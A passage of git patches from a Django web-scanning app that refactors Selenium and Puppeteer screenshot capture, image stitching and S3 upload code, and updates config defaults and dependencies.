-            site = scan.site
-            return site
-        
-        @sync_to_async
-        def get_page():
-            _page = scan.page
-            return _page
-
-        site = await get_site()
-        _page = await get_page()
-
-        driver = await driver_init_p(
-            window_size=configs.get('window_size', '1920,1080'), 
-            wait_time=int(configs.get('max_wait_time', 30))
-        )
-        page = await driver.newPage()
-
-        sizes = configs.get('window_size', '1920,1080').split(',')
-        is_mobile = False
-        if configs.get('device') == 'mobile':
-            is_mobile = True
-        
-        page_options = {
-            'waitUntil': 'networkidle0', 
-            'timeout': int(configs.get('max_wait_time', 30))*1000
-        }
-
-        # requesting page_url to get height of 
-        await page.goto(_page.page_url, page_options)
-
-        # getting full page_height
-        page_height = int(sizes[1])
-        if configs.get('frame_by_frame') == False:
-            page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
-
-        viewport = {
-            'width': int(sizes[0]),
-            'height': int(page_height),
-            'isMobile': is_mobile,
-        }
-        
-        userAgent = (
-            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
-        )
-        
-        emulate_options = {
-            'viewport': viewport,
-            'userAgent': userAgent
-        }
-
-        if configs.get('device') == 'mobile':
-            await page.emulate(emulate_options)
-        else:
-            await page.setViewport(viewport)
+        # getting full_page_height
+        if self.configs.get('auto_height', True):
+            full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
+            sizes = self.configs.get('window_size', '1920,1080').split(',')
+            driver.set_window_size(int(sizes[0]), int(full_page_height))
 
-        # requesting page_url
-        await page.goto(_page.page_url, page_options)
 
-        
-        if configs.get('disable_animations') == True:
+        if self.configs.get('disable_animations') == True:
             # inserting animation pausing script
             try:
-                await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
+                driver.execute_script(self.pause_animations_script)
             except:
                 print('cannot pause animations')
-
-            # pausing videos
+                
+            # inserting video pausing scripts
             try:
-                videos = await page.querySelectorAll('video')
-                for vid in videos:
-                    await page.evaluate('(vid) => vid.pause()', vid)
-            except Exception as e:
-                print(e)
-
+                driver.execute_script(self.pause_video_script)
+            except:
+                print('cannnot pause videos')
 
-        # mask all listed ids
-        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
-            ids = configs.get('mask_ids').split(',')
+        # mask all listed ids        
+        if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '':
+            ids = self.configs.get('mask_ids').split(',')
             for id in ids:
                 try:
-                    await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';")
+                    driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
                     print('masked an element')
                 except:
                     print('cannot find element via id provided')
 
-
         # mask all Global mask ids that are active
-        @sync_to_async
-        def get_active_global_masks():
-            masks = Mask.objects.filter(active=True)
-            active_masks = []
-            if len(masks) > 0:
-                for mask in masks:
-                    active_masks.append(mask.id)
-            return active_masks
-
-        active_masks = await get_active_global_masks()
-
-        for mask in active_masks:
-            try:
-                await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';")
-                print('masked an element')
-            except:
-                print('cannot find element via global mask id provided')
-
+        active_masks = Mask.objects.filter(active=True)
+        if len(active_masks) != 0:
+            for mask in active_masks:
+                try:
+                    driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
+                    print('masked an element')
+                except:
+                    print('cannot find element via global mask id provided')
 
         # scroll one frame at a time and capture screenshot
-        image_array = []
+        final_img = None
         index = 0
         last_height = -1
         bottom = False
@@ -854,64 +230,66 @@ def get_active_global_masks():
         while not bottom:
 
             # checking if maxed out time
-            if self.check_timeout(int(configs.get('timeout', 300)), start_time):
+            if self.check_timeout(self.configs.get('timeout', 300), start_time):
                 break
 
             # scroll single frame
             if index != 0:
-                await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(configs.get('min_wait_time', 10)))
+                driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
+                time.sleep(int(self.configs.get('min_wait_time', 10)))
 
             # get current position and compare to previous
-            new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight")
+            new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
             height_diff = new_height - last_height
             if height_diff > 20:
                 last_height = new_height
                 pic_id = uuid.uuid4()
-
-                # interact with and wait for page to load
-                await page.mouse.move(0, 0)
-                await page.mouse.move(0, 100)
-                time.sleep(int(configs.get('min_wait_time', 10)))
                 
-            
-                # get screenshot
-                await page.screenshot({'path': f'{pic_id}.png'})
+                # waiting for network requests to resolve
+                driver_wait(
+                    driver=driver, 
+                    interval=int(self.configs.get('interval', 5)),  
+                    min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                    max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                )
 
+                # get screenshot
+                driver.save_screenshot(f'{pic_id}.png')
                 image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-                remote_path = f'static/sites/{site.id}/{_page.id}/{scan.id}/{pic_id}.png'
-                root_path = settings.AWS_S3_URL_PATH
-                image_url = f'{root_path}/{remote_path}'
-            
-                # upload to s3
-                with open(image, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-                    )
-                # remove local copy
-                os.remove(image)
-
-                # create image obj and add to list
-                img_obj = {
-                    "index": index,
-                    "id": str(pic_id),
-                    "url": image_url,
-                    "path": remote_path,
-                }
-
-                image_array.append(img_obj)
 
+                # resizing image to remove duplicate portions
+                img = I.open(image)
+                width, height = img.size
+                left = 0
+                top = height - (height_diff/2)
+                right = width
+                _bottom = height
+                new_img = img.crop((left, top, right, _bottom))
+                new_img.save(image, quality=100)
+                            
+                # adding new image to bottom of existing image (if not index = 0)
+                pic_id_2 = uuid.uuid4()
+                if index != 0 and final_img is not None:
+                    self.add_images(final_img, image).save(f'{pic_id_2}.png')
+                    os.remove(final_img)
+                    final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
+                else:
+                    I.open(image).save(f'{pic_id_2}.png')
+                    final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
+                
+                os.remove(image)
                 index += 1 
             
             else:
                 bottom = True
 
-        
-        await driver.close()
-
-        return image_array
+        # saving image
+        self.save_image(pic_id=pic_id_2, image=final_img)
 
+        if not driver_present:
+            quit_driver(driver)
 
+        return self.image_array
 
 
 
@@ -920,40 +298,46 @@ def get_active_global_masks():
 
 
 
-    async def _scan_p(self, scan, configs):
+    async def scan_p(self):
         """
-        Using Puppeteer, grabs multiple screenshots of the website and uploads 
-        them to s3 as a single image.
+        Using Puppeteer, grabs full length screenshots of the website and uploads 
+        them to s3.
         """
 
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
+        @sync_to_async
+        def get_page():
+            _page = self.scan.page
+            return _page
 
-        # get page and site objs
-        site = scan.site
-        _page = scan.page
+        _page = await get_page()
 
-        driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30))
+        driver = await driver_init_p(
+            window_size=self.configs.get('window_size', '1920,1080'), 
+            wait_time=int(self.configs.get('max_wait_time', 30))
+        )
         page = await driver.newPage()
 
-        sizes = configs.get('window_size', '1920,1080').split(',')
+        sizes = self.configs.get('window_size', '1920,1080').split(',')
         is_mobile = False
-        if configs.get('device') == 'mobile':
+        if self.configs.get('device') == 'mobile':
             is_mobile = True
         
         page_options = {
             'waitUntil': 'networkidle0', 
-            'timeout': configs.get('max_wait_time', 30)*1000
+            'timeout': int(self.configs.get('max_wait_time', 30))*1000
         }
 
+        # requesting page_url to get height of 
+        await page.goto(_page.page_url, page_options)
+
+        # getting full page_height
+        page_height = int(sizes[1])
+        if self.configs.get('auto_height', True):
+            page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
+
         viewport = {
             'width': int(sizes[0]),
-            'height': int(sizes[1]),
+            'height': int(page_height),
             'isMobile': is_mobile,
         }
         
@@ -967,7 +351,7 @@ async def _scan_p(self, scan, configs):
             'userAgent': userAgent
         }
 
-        if configs.get('device') == 'mobile':
+        if self.configs.get('device') == 'mobile':
             await page.emulate(emulate_options)
         else:
             await page.setViewport(viewport)
@@ -975,10 +359,10 @@ async def _scan_p(self, scan, configs):
         # requesting page_url
         await page.goto(_page.page_url, page_options)
 
-        if configs.get('disable_animations') == True:
+        if self.configs.get('disable_animations') == True:
             # inserting animation pausing script
             try:
-                await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
+                await page.evaluate(self.pause_animations_script)
             except:
                 print('cannot pause animations')
 
@@ -991,8 +375,8 @@ async def _scan_p(self, scan, configs):
                 print(e)
 
         # mask all listed ids
-        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
-            ids = configs.get('mask_ids').split(',')
+        if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '':
+            ids = self.configs.get('mask_ids').split(',')
             for id in ids:
                 try:
                     await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';")
@@ -1006,8 +390,9 @@ async def _scan_p(self, scan, configs):
         def get_active_global_masks():
             masks = Mask.objects.filter(active=True)
             active_masks = []
-            for mask in masks:
-                active_masks.append(mask.id)
+            if len(masks) > 0:
+                for mask in masks:
+                    active_masks.append(mask.id)
             return active_masks
 
         active_masks = await get_active_global_masks()
@@ -1018,22 +403,13 @@ def get_active_global_masks():
                 print('masked an element')
             except:
                 print('cannot find element via global mask id provided')
-
-
-        # vertically concats two images
+    
         @sync_to_async
-        def add_images(im1, im2):
-            im1 = I.open(im1)
-            im2 = I.open(im2)
-            new_img = I.new('RGB', (im1.width, im1.height + im2.height))
-            new_img.paste(im1, (0, 0))
-            new_img.paste(im2, (0, im1.height))
-            return new_img
-
+        def save_image(*args, **kwargs):
+            self.save_image(pic_id=pic_id, image=final_img)
 
         # scroll one frame at a time and capture screenshot
         final_img = None
-        image_array = []
         index = 0
         last_height = -1
         bottom = False
@@ -1041,13 +417,13 @@ def add_images(im1, im2):
         while not bottom:
 
             # checking if maxed out time
-            if self.check_timeout(configs.get('timeout', 300), start_time):
+            if self.check_timeout(int(self.configs.get('timeout', 300)), start_time):
                 break
 
             # scroll single frame
             if index != 0:
                 await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(configs.get('min_wait_time', 10)))
+                time.sleep(int(self.configs.get('min_wait_time', 10)))
 
             # get current position and compare to previous
             new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight")
@@ -1059,61 +435,44 @@ def add_images(im1, im2):
                 # interact with and wait for page to load
                 await page.mouse.move(0, 0)
                 await page.mouse.move(0, 100)
-                time.sleep(int(configs.get('min_wait_time', 10)))
-                
+                time.sleep(int(self.configs.get('min_wait_time', 10)))
             
                 # get screenshot
                 await page.screenshot({'path': f'{pic_id}.png'})
                 image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
                 
+                # resizing image to remove duplicate portions
+                img = I.open(image)
+                width, height = img.size
+                left = 0
+                top = height - (height_diff)
+                right = width
+                _bottom = height
+                new_img = img.crop((left, top, right, _bottom))
+                new_img.save(image, quality=100)
+                
                 # adding new image to bottom of existing image (if not index = 0)
                 pic_id_2 = uuid.uuid4()
                 if index != 0 and final_img is not None:
-                    new_img = await add_images(final_img, image)
-                    new_img.save(f'{pic_id_2}.png')
+                    self.add_images(final_img, image).save(f'{pic_id_2}.png')
                     os.remove(final_img)
                     final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
                 else:
                     I.open(image).save(f'{pic_id_2}.png')
                     final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
                 
-                # remove local copy
                 os.remove(image)
-
                 index += 1 
             
             else:
                 bottom = True
-
-
-        remote_path = f'static/sites/{site.id}/{_page.id}/{scan.id}/{pic_id_2}.png'
-        root_path = settings.AWS_S3_URL_PATH
-        image_url = f'{root_path}/{remote_path}'
-    
-        # upload to s3
-        with open(final_img, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-            )
-       
-
-        # create image obj and add to list
-        img_obj = {
-            "index": 0,
-            "id": str(pic_id_2),
-            "url": image_url,
-            "path": remote_path,
-        }
-
-        image_array.append(img_obj)
         
-        # remove local copy
-        os.remove(final_img)
+        # saving image
+        await save_image(pic_id=pic_id, image=final_img)
 
-        
         await driver.close()
 
-        return image_array
+        return self.image_array
 
 
 
@@ -1135,14 +494,6 @@ def test(self, test, index=None):
             - cv2 ORB Brute-force Matcher, Ratio
         """
 
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
         # setup temp dirs
         if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.id}')):
             os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.id}'))
@@ -1175,7 +526,7 @@ def test(self, test, index=None):
             # getting pre_scan image
             pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png')
             with open(pre_img_path, 'wb') as data:
-                s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data)
+                self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data)
             
             # getting post_scan image
             try:
@@ -1186,7 +537,7 @@ def test(self, test, index=None):
             if post_img_obj is not None:
                 post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png')
                 with open(post_img_path, 'wb') as data:
-                    s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data)
+                    self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data)
                 
                 # open images with PIL Image library
                 post_img = I.open(post_img_path)
@@ -1266,7 +617,7 @@ def save_images(pre_img_id, post_img_id, index):
                     
                         # upload to s3
                         with open(image, 'rb') as data:
-                            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                            self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
                                 remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
                             )
                         
@@ -1417,186 +768,3 @@ def cv2_score(pre_img, post_img):
 
 
 
-
-
-
-
-
-
-    def screenshot(self, site=None, url=None, configs=None, driver=None):
-        """
-        Grabs single screenshot of the website and uploads 
-        it to s3.
-        """
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        if not configs:
-            configs = {
-                "interval": 5,
-                "window_size": "1920,1080",
-                "max_wait_time": 60,
-                "min_wait_time": 10,
-                "device": "desktop"
-            }
-
-        # initialize driver if not passed as param
-        if not driver:
-            driver = driver_init(window_size=configs.get('window_size', '1920,1080'), device=configs.get('device'))
-
-
-        # get or create site data
-        if site is None:
-            site_id = uuid.uuid4()
-            site_url = url
-        else:
-            site_id = site.id
-            site_url = site.site_url
-        
-        # request site_url 
-        driver.get(site_url)
-
-
-        # wait for site to fully load
-        driver_wait(
-            driver=driver, 
-            interval=int(configs.get('interval', 5)),  
-            min_wait_time=int(configs.get('min_wait_time', 10)),
-            max_wait_time=int(configs.get('max_wait_time', 30)),
-        )
-
-        # grab screenshot
-        pic_id = uuid.uuid4()
-        driver.save_screenshot(f'{pic_id}.png')
-        image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-        remote_path = f'static/sites/{site_id}/{page.id}/{pic_id}.png'
-        root_path = settings.AWS_S3_URL_PATH
-        image_url = f'{root_path}/{remote_path}'
-    
-        # upload to s3
-        with open(image, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-            )
-        # remove local copy
-        os.remove(image)
-
-        # create image obj and add to list
-        img_obj = {
-            "id": str(pic_id),
-            "url": image_url,
-            "path": remote_path,
-        }
-
-        # quit driver
-        quit_driver(driver)
-
-        return img_obj
-
-
-
-    async def screenshot_p(self, site=None, url=None, configs=None):
-        """
-        Using Puppeteer, grabs single screenshot of the website and uploads 
-        it to s3.
-        """
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        if not configs:
-            configs = {
-                "interval": 5,
-                "driver": "puppeteer",
-                "device": "desktop",
-                "window_size": "1920,1080",
-                "max_wait_time": 60,
-                "min_wait_time": 10
-            }
-
-        driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30))
-        page = await driver.newPage()
-
-        sizes = configs.get('window_size', '1920,1080').split(',')
-        is_mobile = False
-        if configs.get('device') == 'mobile':
-            is_mobile = True
-        
-        page_options = {
-            'waitUntil': 'networkidle0', 
-            'timeout': configs.get('max_wait_time', 30)*1000
-        }
-
-        viewport = {
-            'width': int(sizes[0]),
-            'height': int(sizes[1]),
-            'isMobile': is_mobile,
-        }
-        
-        userAgent = (
-            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
-        )
-        
-        emulate_options = {
-            'viewport': viewport,
-            'userAgent': userAgent
-        }
-
-        if configs.get('device') == 'mobile':
-            await page.emulate(emulate_options)
-        else:
-            await page.setViewport(viewport)
-
-        # get or create site data
-        if site is None:
-            site_id = uuid.uuid4()
-            site_url = url
-        else:
-            site_id = site.id
-            site_url = site.site_url
-        
-        # request site_url 
-        await page.goto(site_url, page_options)
-
-        # interact with and wait for page to load
-        await page.mouse.move(0, 0)
-        await page.mouse.move(0, 100)
-        time.sleep(int(configs.get('min_wait_time', 10)))
-
-        # get screenshot
-        pic_id = uuid.uuid4()
-        await page.screenshot({'path': f'{pic_id}.png'})
-        await driver.close()
-        image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-        remote_path = f'static/sites/{site_id}/{page.id}/{pic_id}.png'
-        root_path = settings.AWS_S3_URL_PATH
-        image_url = f'{root_path}/{remote_path}'
-
-        # upload to s3
-        with open(image, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-            )
-        # remove local copy
-        os.remove(image)
-
-        # create image obj and add to list
-        img_obj = {
-            "id": str(pic_id),
-            "url": image_url,
-            "path": remote_path,
-        }
-
-        return img_obj
\ No newline at end of file
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 3dff8362..b719d292 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -84,7 +84,7 @@ def first_scan(self):
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = self.driver.get_log('browser')
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = Image().scan_full(scan=self.scan, driver=self.driver, configs=self.configs)
+                images = Image(scan=self.scan, configs=self.configs).scan_s(driver=self.driver)
             quit_driver(self.driver)
         else:
             driver_data = asyncio.run(
@@ -98,7 +98,7 @@ def first_scan(self):
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = driver_data['logs']
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = asyncio.run(Image().scan_p_full(scan=self.scan, configs=self.configs))
+                images = asyncio.run(Image(scan=self.scan, configs=self.configs).scan_p())
         
         if 'lighthouse' in self.scan.type or 'full' in self.scan.type:
             lh_data = Lighthouse(scan=self.scan, configs=self.configs).get_data() 
@@ -162,7 +162,7 @@ def second_scan(self):
             if 'logs' in second_scan.type or 'full' in second_scan.type:
                 logs = self.driver.get_log('browser')
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = Image().scan_full(scan=second_scan, driver=self.driver, configs=self.configs)
+                images = Image(scan=self.second_scan, configs=self.configs).scan_s(driver=self.driver)
             quit_driver(self.driver)
         else:
             driver_data = asyncio.run(
@@ -176,7 +176,7 @@ def second_scan(self):
             if 'logs' in second_scan.type or 'full' in second_scan.type:
                 logs = driver_data['logs']
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = asyncio.run(Image().scan_p_full(scan=second_scan, configs=self.configs))
+                images = asyncio.run(Image(scan=self.second_scan, configs=self.configs).scan_p())
         
         if 'lighthouse' in second_scan.type or 'full' in second_scan.type:
             lh_data = Lighthouse(scan=second_scan, configs=self.configs).get_data() 
@@ -505,11 +505,11 @@ def _vrt(scan_id, test_id, automation_id):
     try:
         if scan.configs['driver'] == 'selenium':
             driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device'])
-            images = Image().scan_full(scan=scan, driver=driver, configs=scan.configs)
+            images = Image(scan=scan, configs=scan.configs).scan_s(driver=driver)
             quit_driver(driver)
 
         if scan.configs['driver'] == 'puppeteer':
-            images = asyncio.run(Image().scan_p_full(scan=scan, configs=scan.configs))
+            images = asyncio.run(Image(scan=scan, configs=scan.configs).scan_p())
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)

From ce1c9137f1675778c33d4d47463d015f47772d98 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 23 Aug 2023 20:21:37 -0500
Subject: [PATCH 0135/1099] fixed default configs obj

---
 app/api/v1/ops/services.py | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a500c51d..7339b29f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -120,7 +120,8 @@ def create_site(request, delay=False):
                 'min_wait_time': 10,
                 'max_wait_time': 60,
                 'timeout': 300,
-                'disable_animations': False
+                'disable_animations': False,
+                'auto_height': True
             }
 
         if no_scan == False:
@@ -216,7 +217,8 @@ def crawl_site(request, id):
             'min_wait_time': 10,
             'max_wait_time': 60,
             'timeout': 300,
-            'disable_animations': False
+            'disable_animations': False,
+            'auto_height': True
         }
 
     # update site info
@@ -419,7 +421,8 @@ def create_page(request, delay=False):
                 'min_wait_time': 10,
                 'max_wait_time': 60,
                 'timeout': 300,
-                'disable_animations': False
+                'disable_animations': False,
+                'auto_height': True
             }
 
         if no_scan == False:
@@ -518,7 +521,8 @@ def create_many_pages(request, obj_response=False):
                     'min_wait_time': 10,
                     'max_wait_time': 60,
                     'timeout': 300,
-                    'disable_animations': False
+                    'disable_animations': False,
+                    'auto_height': True
                 }
 
             if no_scan == False:
@@ -784,7 +788,8 @@ def create_scan(request=None, delay=False, *args, **kwargs):
             'min_wait_time': 10,
             'max_wait_time': 60,
             'timeout': 300,
-            'disable_animations': False
+            'disable_animations': False,
+            'auto_height': True
         }
 
     if site_id is not None and page_id is None:
@@ -1193,7 +1198,8 @@ def create_test(request=None, delay=False, *args, **kwargs):
             'min_wait_time': 10,
             'max_wait_time': 60,
             'timeout': 300,
-            'disable_animations': False
+            'disable_animations': False,
+            'auto_height': True
         }
 
 

From f7ef33143f921284b26cffbc802eb31043bd545b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 24 Aug 2023 12:23:39 -0500
Subject: [PATCH 0136/1099] removed sewar

---
 app/api/utils/image.py | 1 -
 requirements.txt       | 1 -
 2 files changed, 2 deletions(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 02b4d977..99440fa7 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -5,7 +5,6 @@
 from selenium.webdriver.chrome.options import Options
 from django.forms.models import model_to_dict
 from django.core.serializers.json import DjangoJSONEncoder
-from sewar.full_ref import uqi, mse, ssim, msssim, psnr, ergas, vifp, rase, sam, scc
 from skimage.metrics import structural_similarity
 from scanerr import settings
 from PIL import Image as I, ImageChops, ImageStat
diff --git a/requirements.txt b/requirements.txt
index e546b252..8300f623 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -41,7 +41,6 @@ scikit-image==0.21.0
 scipy==1.8.0
 selenium==4.1.3
 sendgrid==6.9.7
-sewar==0.4.4 
 six==1.16.0
 slack-sdk==3.11.2
 sqlparse==0.4.1

From b077d33664e4f0189115cf8075c64bb2efa407e3 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 24 Aug 2023 12:38:46 -0500
Subject: [PATCH 0137/1099] added default args to Image()

---
 app/api/utils/image.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 99440fa7..e5cf3a03 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -42,7 +42,7 @@ def test(test=<test:object>) -> compares each
     """
 
 
-    def __init__(self, scan, configs):
+    def __init__(self, scan=None, configs=None):
 
         # main scan object
         self.scan = scan

From a540ce87e4925b431902361ec2d50a2b9ee83f79 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 26 Aug 2023 15:03:40 -0500
Subject: [PATCH 0138/1099] upgraded deps & fixed image conversion issues

---
 app/api/utils/driver_s.py | 12 +++++-------
 app/api/utils/image.py    |  6 ++++--
 requirements.txt          |  4 ++--
 3 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 96b8abda..000ca100 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -1,6 +1,6 @@
 from selenium import webdriver
-from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
 from selenium.webdriver import ActionChains
+from selenium.webdriver.common.by import By
 import time, os, numpy, json, sys
 
 
@@ -29,7 +29,7 @@ def driver_init(
         ) 
     }
 
-    chromedriver_path = os.environ.get("CHROMEDRIVER")
+    # chromedriver_path = os.environ.get("CHROMEDRIVER")
     options = webdriver.ChromeOptions()
     options.binary_location = os.environ.get('CHROMIUM')
     options.add_argument("--no-sandbox")
@@ -40,14 +40,12 @@ def driver_init(
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("--force-device-scale-factor=0.5")
     options.add_argument("--window-size=%s" % window_size) 
+    options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
 
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
-    caps = DesiredCapabilities.CHROME
-    caps['goog:loggingPrefs'] = {'performance': 'ALL'}
-
-    driver = webdriver.Chrome(executable_path=chromedriver_path, options=options, desired_capabilities=caps)
+    driver = webdriver.Chrome(options=options)
     driver.set_page_load_timeout(load_timeout)
     driver.set_script_timeout(script_timeout)
     driver.implicitly_wait(wait_time)
@@ -111,7 +109,7 @@ def get_request_list(driver):
 
     def interact_with_page(driver):
         # simulate mouse movement and click on <html> tag
-        html_tag = driver.find_elements_by_tag_name('html')[0]
+        html_tag = driver.find_elements(By.TAG_NAME, 'html')[0]
         action = ActionChains(driver)
         action.move_to_element(html_tag).perform()
         return
diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index e5cf3a03..a6684863 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -548,12 +548,14 @@ def test(self, test, index=None):
 
                 # pre_img is longer
                 if pre_img_h > post_img_h:
-                    new_pre_img = pre_img.crop((0, 0, pre_img_w, post_img_h))
+                    print(f'pre_img is larger, adjusting...')
+                    new_pre_img = pre_img.crop((0, 0, pre_img_w, post_img_h)).convert(mode=post_img.mode)
                     new_pre_img.save(pre_img_path, quality=100)
                     pre_img = I.open(pre_img_path)
                 # post_img is longer
                 if post_img_h > pre_img_h:
-                    new_post_img = post_img.crop((0, 0, post_img_w, pre_img_h))
+                    print(f'post_img is larger, adjusting...')
